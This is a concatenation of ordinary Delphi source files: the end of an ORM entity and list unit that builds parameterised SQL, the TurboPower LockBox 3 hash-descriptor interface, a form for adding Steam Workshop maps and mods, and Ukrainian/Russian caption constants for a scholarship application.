procedure TEntityAbstract.AddProcToArr(var aProcArr: TArray<TMethod>; aCode, aData: Pointer);
begin
TMethodEngine.AddProcToArr(aProcArr, aCode, aData);
end;
function TEntityAbstract.GetInstanceValue(aFieldName: string): Variant;
var
Instance: TInstance;
begin
Result := Null;
for Instance in FInstanceArr do
if Instance.FieldName = aFieldName then
Exit(Instance.Value);
end;
procedure TEntityAbstract.ForEachJoinParentProp(aEachJoinEntProp: TEachJoinEntProp);
var
Entity: TEntityAbstract;
ForeignKey: TForeignKey;
i: Integer;
PropCount: Integer;
PropClass: TClass;
PropList: PPropList;
PropName: string;
begin
PropCount := GetPropList(Self, PropList);
try
for ForeignKey in GetStructure.ForeignKeyArr do
begin
for i := 0 to PropCount - 1 do
begin
PropClass := GetObjectPropClass(Self, PropList^[i]);
if (ForeignKey.ReferEntityClass = PropClass) and
(ForeignKey.RelType <> rtOne2Many)
then
begin
PropName := GetPropName(PropList^[i]);
Entity := GetObjectProp(Self, PropName) as ForeignKey.ReferEntityClass;
aEachJoinEntProp(
Entity,
ForeignKey.ReferEntityClass,
PropName,
ForeignKey.FieldName,
ForeignKey.ReferFieldName
);
end;
end;
end;
finally
FreeMem(PropList);
end;
end;
procedure TEntityAbstract.AssignProps;
begin
AssignPropsFromInstance;
ForEachJoinParentProp(CreateJoinEntity);
ForEachJoinChildProp(CreateJoinEntity);
end;
procedure TEntityAbstractList<T>.Clear;
var
Entity: T;
EntityArr: TArray<T>;
begin
EntityArr := Self.ToArray;
for Entity in EntityArr do
Self.Remove(Entity);
end;
procedure TEntityAbstractList<T>.CleanRecycleBin;
var
Entity: T;
begin
for Entity in FRecycleBin do
Entity.Delete;
end;
destructor TEntityAbstractList<T>.Destroy;
var
Entity: T;
i: Integer;
begin
for i := 0 to Length(FRecycleBin) - 1 do
begin
Entity := FRecycleBin[i];
FreeAndNil(Entity);
end;
inherited;
end;
procedure TEntityAbstractList<T>.Delete(const aIndex: Integer);
begin
Remove(aIndex);
end;
procedure TEntityAbstractList<T>.Remove(const aEntity: T);
begin
Extract(aEntity);
FRecycleBin := FRecycleBin + [aEntity];
end;
procedure TEntityAbstractList<T>.Remove(const aIndex: Integer);
var
Entity: T;
begin
Entity := Items[aIndex];
Remove(Entity);
end;
procedure TEntityAbstractList<T>.Store;
var
Entity: T;
ForeignKey: TForeignKey;
KeyPropName: string;
RefPropName: string;
begin
CleanRecycleBin;
for Entity in Self do
begin
if Assigned(FOwnerEntity) then
begin
for ForeignKey in FForeignKeyArr do
begin
KeyPropName := TEntityAbstract.GetPropNameByFieldName(ForeignKey.FieldName);
RefPropName := TEntityAbstract.GetPropNameByFieldName(ForeignKey.ReferFieldName);
Entity.Prop[KeyPropName] := FOwnerEntity.Prop[RefPropName];
end;
end;
Entity.StoreAll;
end;
end;
procedure TEntityAbstract.StoreLists;
begin
ExecProcArr(FStoreListProcArr);
end;
procedure TEntityAbstract.StoreAll;
begin
ForEachJoinParentProp(StoreJoinParentEnt);
Store;
ForEachJoinChildProp(StoreJoinChildEnt);
StoreLists;
end;
procedure TEntityAbstract.FreeLists;
begin
ExecProcArr(FFreeListProcArr);
end;
destructor TEntityAbstract.Destroy;
begin
ForEachJoinParentProp(FreeJoinEntity);
ForEachJoinChildProp(FreeJoinEntity);
FreeLists;
inherited;
end;
constructor TEntityAbstractList<T>.Create(aOwnerEntity: TEntityAbstract; aOrderArr: TArray<string>);
var
Filter: string;
FilterArr: TArray<string>;
ForeignKey: TForeignKey;
ForeignKeyArr: TArray<TForeignKey>;
Proc: TObjProc;
begin
ForeignKeyArr := GetEntityClass.GetStructure.ForeignKeyArr;
FilterArr := [];
for ForeignKey in ForeignKeyArr do
begin
if (ForeignKey.ReferEntityClass = aOwnerEntity.ClassType) and
(ForeignKey.RelType <> rtOne2One)
then
begin
Filter := Format('%s = ''%s''', [
ForeignKey.FieldName,
VarToStr(aOwnerEntity.Prop[ForeignKey.ReferFieldName])
]);
FilterArr := FilterArr + [Filter];
FForeignKeyArr := FForeignKeyArr + [ForeignKey];
end;
end;
if Length(FilterArr) > 0 then
begin
FOwnerEntity := aOwnerEntity;
Create(aOwnerEntity.FDBEngine, FilterArr, aOrderArr);
Proc := Free;
aOwnerEntity.AddProcToArr(aOwnerEntity.FFreeListProcArr, @Proc, Self);
Proc := Store;
aOwnerEntity.AddProcToArr(aOwnerEntity.FStoreListProcArr, @Proc, Self);
end;
end;
constructor TEntityAbstractList<T>.Create(aOwnerEntity: TEntityAbstract);
var
OrderArr: TArray<string>;
begin
OrderArr := [];
Create(aOwnerEntity, OrderArr);
end;
class procedure TEntityAbstract.AddForeignKey(var aForeignKeyArr: TArray<TForeignKey>;
aFieldName: string; aReferEntityClass: TEntityClass; aReferFieldName: string = ''; aRelType: TRelType = rtUnknown);
var
ForeignKey: TForeignKey;
begin
ForeignKey.FieldName := aFieldName;
ForeignKey.ReferEntityClass := aReferEntityClass;
ForeignKey.RelType := aRelType;
if not aReferFieldName.IsEmpty then
ForeignKey.ReferFieldName := aReferFieldName
else
ForeignKey.ReferFieldName := aFieldName;
aForeignKeyArr := aForeignKeyArr + [ForeignKey];
end;
function TEntityAbstract.GetNormPropValue(aPropName: string): Variant;
var
PropInfo: PPropInfo;
begin
Result := Prop[aPropName];
PropInfo := GetPropInfo(Self, aPropName);
if PropInfo^.PropType^.Name = 'Boolean' then
if Result = 'True' then
Result := 1
else
Result := 0;
end;
function TEntityAbstract.GetNormInstanceValue(aInstance: TInstance): Variant;
begin
Result := aInstance.Value;
if (aInstance.FieldType = ftString) and
VarIsNull(Result)
then
Result := '';
if (aInstance.FieldType in [ftInteger, ftShortint, ftFloat]) and
VarIsNull(Result)
then
Result := 0;
end;
procedure TEntityAbstract.Revert;
begin
if not FIsNewInstance then
AssignPropsFromInstance;
end;
function TEntityAbstract.GetDeleteSQLString: string;
begin
Result := Format('delete from %s where %s', [GetTableName, GetWherePart]);
end;
procedure TEntityAbstract.Delete;
var
SQL: string;
begin
BeforeDelete;
if not FIsNewInstance then
begin
SQL := GetDeleteSQLString;
ExecToDB(SQL);
end;
end;
procedure TEntityAbstract.ExecToDB(aSQL: string);
var
dsQuery: TFDQuery;
i: Integer;
FieldName: string;
ParamName: string;
ParamValue: Variant;
PropName: string;
begin
dsQuery := TFDQuery.Create(nil);
try
dsQuery.SQL.Text := aSQL;
for i := 0 to dsQuery.Params.Count - 1 do
begin
ParamName := dsQuery.Params[i].Name;
if ParamName.StartsWith('OLD_') then
begin
FieldName := ParamName.Substring(4);
ParamValue := GetInstanceValue(FieldName);
end
else
begin
FieldName := ParamName;
PropName := GetPropNameByFieldName(FieldName);
ParamValue := GetNormPropValue(PropName);
end;
FillParam(dsQuery.Params[i], FieldName, ParamValue);
end;
FDBEngine.ExecQuery(dsQuery);
finally
dsQuery.Free;
end;
end;
function TEntityAbstract.GetWherePart: string;
var
i: Integer;
KeyField: TPrimaryKeyField;
begin
i := 0;
Result := '';
for KeyField in GetStructure.PrimaryKey do
begin
if i > 0 then
Result := Result + ' and ';
Result := Result + Format('%s = :OLD_%s', [KeyField.FieldName, KeyField.FieldName]);
Inc(i);
end;
end;
function TEntityAbstract.CheckPropExist(aFieldName: string; out aPropName: string): Boolean;
var
PropInfo: PPropInfo;
begin
aPropName := GetPropNameByFieldName(aFieldName);
Result := IsPropExists(aPropName);
end;
function TEntityAbstract.GetUpdateSQLString: string;
var
i: Integer;
Instance: TInstance;
PropName: string;
SetPart: string;
begin
i := 0;
SetPart := '';
for Instance in FInstanceArr do
begin
if (CheckPropExist(Instance.FieldName, PropName) and
(GetNormInstanceValue(Instance) <> GetNormPropValue(PropName)))
then
begin
if i > 0 then
SetPart := SetPart + ', ';
SetPart := SetPart + Format('`%s` = :%s', [Instance.FieldName, Instance.FieldName]);
Inc(i);
end;
end;
if i = 0 then
Result := ''
else
Result := Format('update %s set %s where %s', [GetTableName, SetPart, GetWherePart]);
end;
function TEntityAbstract.GetInstanceFieldType(aFieldName: string): TFieldType;
var
Instance: TInstance;
begin
Result := ftUnknown;
for Instance in FInstanceArr do
if Instance.FieldName = aFieldName then
Exit(Instance.FieldType);
end;
procedure TEntityFeatID.InsertToDB;
var
i: Integer;
LastInsertedID: Integer;
begin
inherited;
LastInsertedID := FDBEngine.GetLastInsertedID;
for i := 0 to Length(FInstanceArr) - 1 do
if FInstanceArr[i].FieldName = 'ID' then
begin
FInstanceArr[i].Value := LastInsertedID;
Break;
end;
Prop['ID'] := LastInsertedID;
end;
procedure TEntityAbstract.AssignInstanceFromProps;
var
i: Integer;
PropName: string;
begin
for i := 0 to Length(FInstanceArr) - 1 do
begin
if CheckPropExist(FInstanceArr[i].FieldName, PropName) and
(GetNormInstanceValue(FInstanceArr[i]) <> GetNormPropValue(PropName))
then
FInstanceArr[i].Value := Prop[PropName];
end;
end;
procedure TEntityAbstract.SetProp(aPropName: string; aValue: Variant);
begin
SetPropValue(Self, aPropName, aValue);
end;
function TEntityAbstract.GetProp(aPropName: string): Variant;
begin
Result := GetPropValue(Self, aPropName);
end;
function TEntityAbstract.GetInsertSQLString: string;
var
FieldsPart: string;
i: Integer;
Instance: TInstance;
PropName: string;
ValuesPart: string;
begin
i := 0;
FieldsPart := '';
ValuesPart := '';
for Instance in FInstanceArr do
begin
if (Instance.FieldType <> ftAutoInc) and
(CheckPropExist(Instance.FieldName, PropName))
then
begin
if i > 0 then
begin
FieldsPart := FieldsPart + ', ';
ValuesPart := ValuesPart + ', ';
end;
FieldsPart := FieldsPart + Format('`%s`', [Instance.FieldName]);
ValuesPart := ValuesPart + ':' + Instance.FieldName;
Inc(i);
end;
end;
Result := Format('insert into %s (%s) values (%s)', [GetTableName, FieldsPart, ValuesPart]);
end;
function TEntityAbstract.GetEmptySelectSQLString: string;
begin
Result := Format('select * from %s where 1 = 2', [GetTableName]);
end;
procedure TEntityAbstract.InsertToDB;
var
SQL: string;
begin
ReadInstance([]);
SQL := GetInsertSQLString;
ExecToDB(SQL);
AssignInstanceFromProps;
end;
procedure TEntityAbstract.UpdateToDB;
var
SQL: string;
begin
SQL := GetUpdateSQLString;
if SQL.IsEmpty then Exit;
ExecToDB(SQL);
AssignInstanceFromProps;
end;
procedure TEntityAbstract.Store;
begin
if FIsNewInstance then
begin
InsertToDB;
FIsNewInstance := False;
end
else
UpdateToDB;
end;
constructor TEntityAbstract.Create(aDBEngine: TDBEngine; aInstanceArr: TArray<TInstance>);
begin
FDBEngine := aDBEngine;
FIsNewInstance := False;
FInstanceArr := aInstanceArr;
AssignProps;
AfterCreate;
end;
class function TEntityAbstract.GetInstanceArr(aQuery: TFDQuery): TArray<TInstance>;
var
i: Integer;
Instance: TInstance;
begin
Result := [];
for i := 0 to aQuery.Fields.Count - 1 do
begin
Instance.FieldName := UpperCase(aQuery.Fields[i].FullName);
Instance.FieldType := aQuery.Fields[i].DataType;
if (Instance.FieldType = ftBlob) and
not aQuery.Fields[i].IsNull
then
Instance.Value := StringOf(aQuery.Fields[i].Value)
else
Instance.Value := aQuery.Fields[i].Value;
Result := Result + [Instance];
end;
end;
procedure TEntityAbstract.AssignPropsFromInstance;
var
Instance: TInstance;
PropName: string;
begin
for Instance in FInstanceArr do
begin
if (CheckPropExist(Instance.FieldName, PropName)) and
(not VarIsNull(Instance.Value))
then
Prop[PropName] := Instance.Value;
end;
end;
class function TEntityAbstractList<T>.GetEntityClass: TEntityClass;
begin
Result := T;
end;
function TEntityAbstractList<T>.GetSelectSQLString(aFilterArr, aOrderArr: TArray<string>): string;
var
FromPart: string;
i: Integer;
OrderPart: string;
WherePart: string;
begin
FromPart := GetEntityClass.GetTableName;
for i := 0 to Length(aFilterArr) - 1 do
begin
if aFilterArr[i] = '*' then
aFilterArr[i] := '1 = 1';
if i > 0 then
WherePart := WherePart + ' and ';
WherePart := WherePart + aFilterArr[i];
end;
OrderPart := '';
for i := 0 to Length(aOrderArr) - 1 do
begin
if i > 0 then
OrderPart := OrderPart + ', ';
OrderPart := OrderPart + aOrderArr[i];
end;
if not OrderPart.IsEmpty then
OrderPart := 'order by ' + OrderPart;
Result := 'select * from %s where %s %s';
Result := Format(Result, [FromPart, WherePart, OrderPart]);
end;
function TEntityFeatID.GetWherePart: string;
begin
Result := 'ID = :OLD_ID';
end;
constructor TEntityFeatID.Create(aDBEngine: TDBEngine; aID: Integer = 0);
var
ValArr: TArray<Variant>;
begin
if aID = 0 then
ValArr := []
else
ValArr := [aID];
inherited Create(aDBEngine, ValArr);
end;
class function TEntityAbstract.GetPropNameByFieldName(aFieldName: string): string;
begin
Result := aFieldName.Replace('_', '');
end;
function TEntityAbstract.GetPrimKeyFieldType(aFieldName: string): TFieldType;
var
KeyField: TPrimaryKeyField;
begin
Result := ftUnknown;
for KeyField in GetStructure.PrimaryKey do
if KeyField.FieldName = aFieldName then
Exit(KeyField.FieldType);
end;
procedure TEntityAbstract.FillParam(aParam: TFDParam; aFieldName: string; aValue: Variant);
var
FieldType: TFieldType;
begin
if Length(FInstanceArr) > 0 then
FieldType := GetInstanceFieldType(aParam.Name)
else
FieldType := GetPrimKeyFieldType(aParam.Name);
aParam.DataType := FieldType;
case FieldType of
ftFloat, ftInteger, ftSmallint:
begin
if aValue = 0 then
aParam.Clear
else
aParam.AsFloat := aValue;
end;
ftDateTime: aParam.AsDateTime := aValue;
ftBoolean: aParam.AsBoolean := aValue;
ftString, ftWideString, ftWideMemo:
begin
if aValue = '' then
aParam.Clear
else
aParam.AsWideString := aValue;
end;
ftBlob: aParam.AsBlob := aValue;
else
aParam.AsString := aValue;
end;
end;
function TEntityAbstract.GetSelectSQLString: string;
begin
Result := Format('select * from %s where %s', [GetTableName, GetWherePart]);
end;
class function TEntityAbstract.GetTableName: string;
begin
Result := GetStructure.TableName;
end;
class procedure TEntityAbstract.AddPimaryKeyField(var aPrimaryKey: TPrimaryKey;
aFieldName: string; aFieldType: TFieldType);
var
KeyField: TPrimaryKeyField;
begin
KeyField.FieldName := aFieldName;
KeyField.FieldType := aFieldType;
aPrimaryKey := aPrimaryKey + [KeyField];
end;
procedure TEntityAbstract.ReadInstance(aPKeyValueArr: TArray<Variant>);
var
dsQuery: TFDQuery;
FieldName: string;
i: Integer;
SQL: string;
begin
if Length(aPKeyValueArr) = 0 then
SQL := GetEmptySelectSQLString
else
SQL := GetSelectSQLString;
dsQuery := TFDQuery.Create(nil);
try
dsQuery.SQL.Text := SQL;
for i := 0 to dsQuery.Params.Count - 1 do
begin
FieldName := dsQuery.Params[i].Name.Substring(5);
FillParam(dsQuery.Params[i], FieldName, aPKeyValueArr[i]);
end;
FDBEngine.OpenQuery(dsQuery);
FInstanceArr := GetInstanceArr(dsQuery);
finally
dsQuery.Free;
end;
end;
constructor TEntityAbstract.Create(aDBEngine: TDBEngine; aPKeyValueArr: TArray<Variant>);
begin
FDBEngine := aDBEngine;
FIsNewInstance := (Length(aPKeyValueArr) = 0);
if not FIsNewInstance then
begin
ReadInstance(aPKeyValueArr);
AssignProps;
end;
AfterCreate;
end;
procedure TEntityAbstractList<T>.FillListByInstances(aFilterArr, aOrderArr: TArray<string>);
var
dsQuery: TFDQuery;
Entity: TEntityAbstract;
InstanceArr: TArray<TInstance>;
SQL: string;
begin
SQL := GetSelectSQLString(aFilterArr, aOrderArr);
dsQuery := TFDQuery.Create(nil);
try
dsQuery.SQL.Text := SQL;
FDBEngine.OpenQuery(dsQuery);
while not dsQuery.EOF do
begin
InstanceArr := TEntityAbstract.GetInstanceArr(dsQuery);
Entity := GetEntityClass.Create(FDBEngine, InstanceArr);
Add(Entity);
dsQuery.Next;
end;
finally
dsQuery.Free;
end;
end;
constructor TEntityAbstractList<T>.Create(aDBEngine: TDBEngine; aFilterArr, aOrderArr: TArray<string>);
begin
inherited Create(True);
FFilterArr := aFilterArr;
FOrderArr := aOrderArr;
FDBEngine := aDBEngine;
if Length(FFilterArr) > 0 then
FillListByInstances(FFilterArr, FOrderArr);
end;
end.
|
{* ***** BEGIN LICENSE BLOCK *****
Copyright 2009 Sean B. Durkin
This file is part of TurboPower LockBox 3. TurboPower LockBox 3 is free
software being offered under a dual licensing scheme: LGPL3 or MPL1.1.
The contents of this file are subject to the Mozilla Public License (MPL)
Version 1.1 (the "License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.mozilla.org/MPL/
Alternatively, you may redistribute it and/or modify it under the terms of
the GNU Lesser General Public License (LGPL) as published by the Free Software
Foundation, either version 3 of the License, or (at your option) any later
version.
You should have received a copy of the Lesser GNU General Public License
along with TurboPower LockBox 3. If not, see <http://www.gnu.org/licenses/>.
TurboPower LockBox is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. In relation to LGPL,
see the GNU Lesser General Public License for more details. In relation to MPL,
see the MPL License for the specific language governing rights and limitations
under the License.
The Initial Developer of the Original Code for TurboPower LockBox version 2
and earlier was TurboPower Software.
* ***** END LICENSE BLOCK ***** *}
unit uTPLb_HashDsc;
interface
uses SysUtils, Classes, uTPLb_StreamCipher;
type
IHasher = interface
['{982870E4-EC9B-48CD-B882-17F58F0A7D1A}']
procedure Update( Source{in}: TMemoryStream);
// Source length in bytes must be EXACTLY the UpdateSize/8 .
procedure End_Hash( PartBlock{in}: TMemoryStream; Digest: TStream);
// PartBlock is the final source content. The length in bytes of the
// payload is indicated by the stream position (not stream size). And this
// must be less than or equal to UpdateSize/8. It may be zero.
// It is the responsibility of the client to set initializer the
// Digest position and size prior to invocation of End_Hash.
// End_Hash simply writes DigestSize/8 bytes to the Digest stream
// from its current position.
procedure Burn;
function SelfTest_Source: TBytes; // Bigendien hex string, oriented into u32 groups.;
function SelfTest_ReferenceHashValue: TBytes; // as above
end;
IHashDsc = interface( ICryptoGraphicAlgorithm)
// Hash descriptor. Describes a hashing algorithm.
['{A3922AFC-C917-4364-9FD1-FD84A3E37558}']
function DigestSize: integer; // in units of bits. Must be a multiple of 8.
function UpdateSize: integer; // Size that the input to the Update must be.
function MakeHasher( const Params: IInterface): IHasher;
end;
implementation
end.
|
unit AddMap;
interface
uses
Windows, SysUtils, Classes, Controls, Forms,
StdCtrls, JvLabel, JvEdit,
UFuncoes, JvExStdCtrls, JvExControls;
type
TAddType = (AddWorkshopMap, AddWorkshopMod, EditWorkshopMap,
EditWorkshopItem, ReinstallWorkshopMap, ReinstallWorkshopItem,
UnknowedWorkshopItem);
TFormAdd = class(TForm)
edtID: TJvEdit;
jvlbl1: TJvLabel;
chkAddMapEntry: TCheckBox;
chkAddMapCycle: TCheckBox;
Browse: TButton;
btnOk: TButton;
btnCancel: TButton;
chkDownloadItem: TCheckBox;
chkAddWorkshopRedirect: TCheckBox;
lbl1: TLabel;
chkDoForAll: TCheckBox;
procedure BrowseClick(Sender: TObject);
procedure chkDownloadItemClick(Sender: TObject);
procedure edtIDExit(Sender: TObject);
procedure edtIDChange(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
FrmAddType: TAddType;
{ Private declarations }
public
procedure SetAddType(AddType: TAddType);
{ Public declarations }
var
ItemName, ItemID: string;
addWkspRedirect, downloadNow, addMapCycle, addMapENtry: Boolean;
end;
var
FormAdd: TFormAdd;
implementation
uses
Workshop, Main;
{$R *.dfm}
procedure TFormAdd.BrowseClick(Sender: TObject);
var
frmwksp: TFormWorkshop;
begin
frmwksp := TFormWorkshop.Create(Self);
try
if frmwksp.BrowserItem(TWkspType.WorkshopMap, '') <> '' then
begin
edtID.Text := frmwksp.ItemBrowserId;
end;
finally
frmwksp.Free;
end;
end;
procedure TFormAdd.btnCancelClick(Sender: TObject);
begin
ModalResult := mrCancel;
end;
procedure TFormAdd.btnOkClick(Sender: TObject);
begin
try
try
Self.Hide;
if edtID.Text <> '' then
begin
addWkspRedirect := chkAddWorkshopRedirect.Checked;
downloadNow := chkDownloadItem.Checked;
if (ItemName <> '') and ((FrmAddType = TAddType.ReinstallWorkshopMap)
or (FrmAddType = TAddType.ReinstallWorkshopItem)) then
begin
addMapCycle := chkAddMapCycle.Checked;
addMapENtry := chkAddMapEntry.Checked;
end
else
begin
addMapCycle := chkAddMapCycle.Checked and chkDownloadItem.Checked;
addMapENtry := chkAddMapEntry.Checked and chkDownloadItem.Checked;
end;
ItemID := edtID.Text;
end;
finally
if (chkDoForAll.Visible) and (chkDoForAll.Checked) then
ModalResult := mrAll
else
ModalResult := mrOk;
end;
except
on E: Exception do
Application.MessageBox(PChar(E.Message), 'Error:', MB_OK + MB_ICONSTOP);
end;
end;
procedure TFormAdd.chkDownloadItemClick(Sender: TObject);
begin
if not(FrmAddType = TAddType.ReinstallWorkshopMap) or
(FrmAddType = TAddType.ReinstallWorkshopItem) then
begin
if chkDownloadItem.Checked then
begin
chkAddMapEntry.Enabled := true;
chkAddMapCycle.Enabled := true;
end
else
begin
chkAddMapEntry.Enabled := false;
chkAddMapCycle.Enabled := false;
end;
end;
end;
procedure TFormAdd.edtIDChange(Sender: TObject);
begin
if Length(edtID.Text) > 3 then
btnOk.Enabled := true
else
btnOk.Enabled := false;
end;
procedure TFormAdd.edtIDExit(Sender: TObject);
begin
if Length(edtID.Text) < 12 then
edtID.Text := cleanInt(edtID.Text)
else
edtID.Text := WorkshopURLtoID(edtID.Text);
end;
procedure TFormAdd.FormCreate(Sender: TObject);
begin
if FormMain.appLanguage = 'BR' then
begin
chkAddMapEntry.Caption := 'Adicionar entrada do mapa';
chkAddMapCycle.Caption := 'Adicionar mapa ao ciclo de mapas';
chkDownloadItem.Caption := 'Baixar item agora';
chkAddWorkshopRedirect.Caption := 'Adicionar redirecionamento da workshop';
btnCancel.Caption := 'Cancelar';
lbl1.Caption := '';
chkDoForAll.Visible := false;
end;
end;
procedure TFormAdd.FormShow(Sender: TObject);
begin
if chkDoForAll.Checked then
Exit;
if FrmAddType = AddWorkshopMap then
begin
Self.Caption := 'Add Map';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddMapEntry.Checked := true;
chkAddMapEntry.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapCycle.Checked := true;
chkAddMapCycle.Visible := true;
edtID.Text := '';
edtID.Enabled := true;
Browse.Visible := true;
btnOk.Enabled := false;
Exit;
end;
if FrmAddType = AddWorkshopMod then
begin
Self.Caption := 'Add Mod';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapEntry.Checked := false;
chkAddMapEntry.Visible := false;
chkAddMapCycle.Checked := false;
chkAddMapCycle.Visible := false;
edtID.Enabled := true;
Browse.Visible := true;
edtID.Text := '';
btnOk.Enabled := false;
Exit;
end;
if FrmAddType = EditWorkshopMap then
begin
Self.Caption := 'Add Map';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapEntry.Checked := true;
chkAddMapEntry.Visible := true;
chkAddMapCycle.Checked := true;
chkAddMapCycle.Visible := true;
edtID.Enabled := false;
Browse.Visible := false;
btnOk.Enabled := true;
Exit;
end;
if FrmAddType = EditWorkshopItem then
begin
Self.Caption := 'Add Mod';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapEntry.Checked := false;
chkAddMapEntry.Visible := false;
chkAddMapCycle.Checked := false;
chkAddMapCycle.Visible := false;
edtID.Enabled := false;
Browse.Visible := false;
btnOk.Enabled := true;
Exit;
end;
if FrmAddType = ReinstallWorkshopMap then
begin
Self.Caption := 'Reinstall Map';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapEntry.Checked := true;
chkAddMapEntry.Visible := true;
chkAddMapCycle.Checked := true;
chkAddMapCycle.Visible := true;
edtID.Enabled := false;
Browse.Visible := false;
btnOk.Enabled := true;
Exit;
end;
if FrmAddType = ReinstallWorkshopItem then
begin
Self.Caption := 'Reinstall Mod';
chkDownloadItem.Checked := true;
chkDownloadItem.Visible := true;
chkAddWorkshopRedirect.Checked := true;
chkAddWorkshopRedirect.Visible := true;
chkAddMapEntry.Checked := false;
chkAddMapEntry.Visible := false;
chkAddMapCycle.Checked := false;
chkAddMapCycle.Visible := false;
edtID.Enabled := false;
Browse.Visible := false;
btnOk.Enabled := true;
end;
end;
procedure TFormAdd.SetAddType(AddType: TAddType);
begin
FrmAddType := AddType;
end;
end.
|
unit gr_uCommonConsts;
interface
//******************************************************************************
//
//Заголовки форм
const Application_Caption :array[1..2] of string = ('Стипендія','Стипендия');
const Access_Caption :array[1..2] of string = ('Вхід','Вход');
const Exit_Caption :array[1..2] of string = ('Вихід','Выход');
const Add_Group :array[1..2] of string = ('Додати групу','Добавить группу');
const Delete_Group :array[1..2] of string = ('Видалити групу','Удалить групу');
const Add_Paiment :array[1..2] of string = ('Додати виплати','Добавить выплаты');
const DataStud_Caption :array[1..2] of string = ('Дані студентів','Данные студентов');
const InformatData_Text :array[1..2] of string = ('Довідка','Справка');
const Spisok_Text :array[1..2] of string = ('Список','Список');
const Group_Caption :array[1..2] of string = ('Група','Группа');
const Sheets_Text :array[1..2] of string = ('Відомості','Ведомости');
const Data_Text :array[1..2] of string = ('Дані','Данные');
const CurrentOperationsData_Text :array[1..2] of string = ('Дані поточних операцій','Данные текущих выплат');
const Service_Text :array[1..2] of string = ('Сервіс','Сервис');
const Sprav_Text :array[1..2] of string = ('Довідники','Справочники');
const Nalogi_Text :array[1..2] of string = ('Податки','Налоги');
const ViewUsers_Text :array[1..2] of string = ('Показати юзерів','Показать юзеров');
const ViewErrors_Text :array[1..2] of string = ('Показати помилки','Показать ошибки');
const People_Text :array[1..2] of string = ('Фізичні особи','Физические лица');
const VidOpl_Text :array[1..2] of string = ('Види операцій','Виды операций');
const Departments_Text :array[1..2] of string = ('Групи','Группы');
const TypePayment_Text :array[1..2] of string = ('Види виплат','Виды выплат');
const Information_Text :array[1..2] of string = ('Інформація','Информация');
const LastPeriodData_Text :array[1..2] of string = ('Дані минулих періодів','Данные прошедших периодов');
const UchVed_Text :array[1..2] of string = ('Ведення відомостей','Ведение ведомостей');
const PeriodVed_Text :array[1..2] of string = ('Відомості поточного періоду','Ведомости текущего периода');
const ReeVed_Text :array[1..2] of string = ('Реєстри відомостей','Реестры ведомостей');
const LocateAndFilter_Text :array[1..2] of string = ('Фільтр та пошук відомостей','Фильтр и поиск ведомостей');
const Work_Text :array[1..2] of string = ('Робота','Работа');
const Current_Text :array[1..2] of string = ('Поточні виплати','Текущие выплаты');
const QuickCount_Text :array[1..2] of string = ('Терміновий розрахунок','Срочный расчет');
const AllCount_Text :array[1..2] of string = ('Розрахунок','Расчет');
const Recount_Text :array[1..2] of string = ('Перерахунок','Пересчет');
const ViewVedData_Text :array[1..2] of string = ('Дані відомостей','Данные ведомостей');
const ViewAccData_Text :array[1..2] of string = ('Дані розрахунку','Данные расчета');
const ViewRecData_Text :array[1..2] of string = ('Дані перерахунку','Данные пересчета');
const OperationEnd_Text :array[1..2] of string = ('Закінчення операції','Окончание операции');
const Windows_Text :array[1..2] of string = ('Вікна','Окна');
const Cascade_Text :array[1..2] of string = ('Каскадом','Каскадом');
const TileGor_Text :array[1..2] of string = ('Горизонтально','Горизонтально');
const TileVer_Text :array[1..2] of string = ('Вертикально','Вертикально');
const Minimize_Text :array[1..2] of string = ('Мінімізувати','Свернуть');
const Maximize_Text :array[1..2] of string = ('Максимізувати','Развернуть');
const Normalize_Text :array[1..2] of string = ('Нормалізувати','Нормализовать');
const CloseAll_Text :array[1..2] of string = ('Закрити всі','Закрыть все');
const Filter_Text :array[1..2] of string = ('Фільтр','Фильтр');
const NotFilter_Text :array[1..2] of string = ('Без фільтру','Без фильтра');
const SumMoreNull_Text :array[1..2] of string = ('Сума>0','Сумма>0');
const SumLessNull_Text :array[1..2] of string = ('Сума<0','Сумма<0');
const SumEqualsNull_Text :array[1..2] of string = ('Сума=0','Сумма=0');
const SumIsNull_Text :array[1..2] of string = ('Сума - пусте значення','Сумма - пустое значение');
const CountContinue_Text :array[1..2] of string = ('Йде розрахунок','Идёт расчёт');
const PrepareDataContinue_Text :array[1..2] of string = ('Йде підготовка данних','Идёт подготовка данных');
const FormSheetsContinue_Text :array[1..2] of string = ('Йде формування відомостей','Идёт формирование ведомостей');
const AccDepart_Text :array[1..2] of string = ('Розширений фільтр','Расширенный фильтр');
const GrantRise_Text :array[1..2] of string = ('Підвищення','Повышения');
const GrantIndexation_Text :array[1..2] of string = ('Індексація','Индексация');
const StudentCards_Caption :array[1..2] of string = ('Довідник студентів','Справочник студентов');
const SelAll_Caption :array[1..2] of string = ('Обрати всі','Выбрать все');
// Заголовки кнопок
const DeletePayment_Caption :array[1..2] of string = ('Видалити виплати','Удалить выплаты');
const UpdateRecBtn_Caption :array[1..2] of string = ('Редагувати виплати','Ред. доб. выплаты');
const ApplyBtn_Caption :array[1..2] of string = ('Прийняти','Применить');
const InsertBtn_Caption :array[1..2] of string = ('Додати','Добавить');
const CorrentBtn_Caption :array[1..2] of string = ('Додати поточні виплати','Добавить поточные выплаты');
const GrantBtn_Caption :array[1..2] of string = ('Додати стипендію','Добавить стипендию');
const UpdateBtn_Caption :array[1..2] of string = ('Редагувати','Изменить');
const DeleteBtn_Caption :array[1..2] of string = ('Видалити','Удалить');
const DelAllBtn_Caption :array[1..2] of string = ('Видалити усе','Удалить всё');
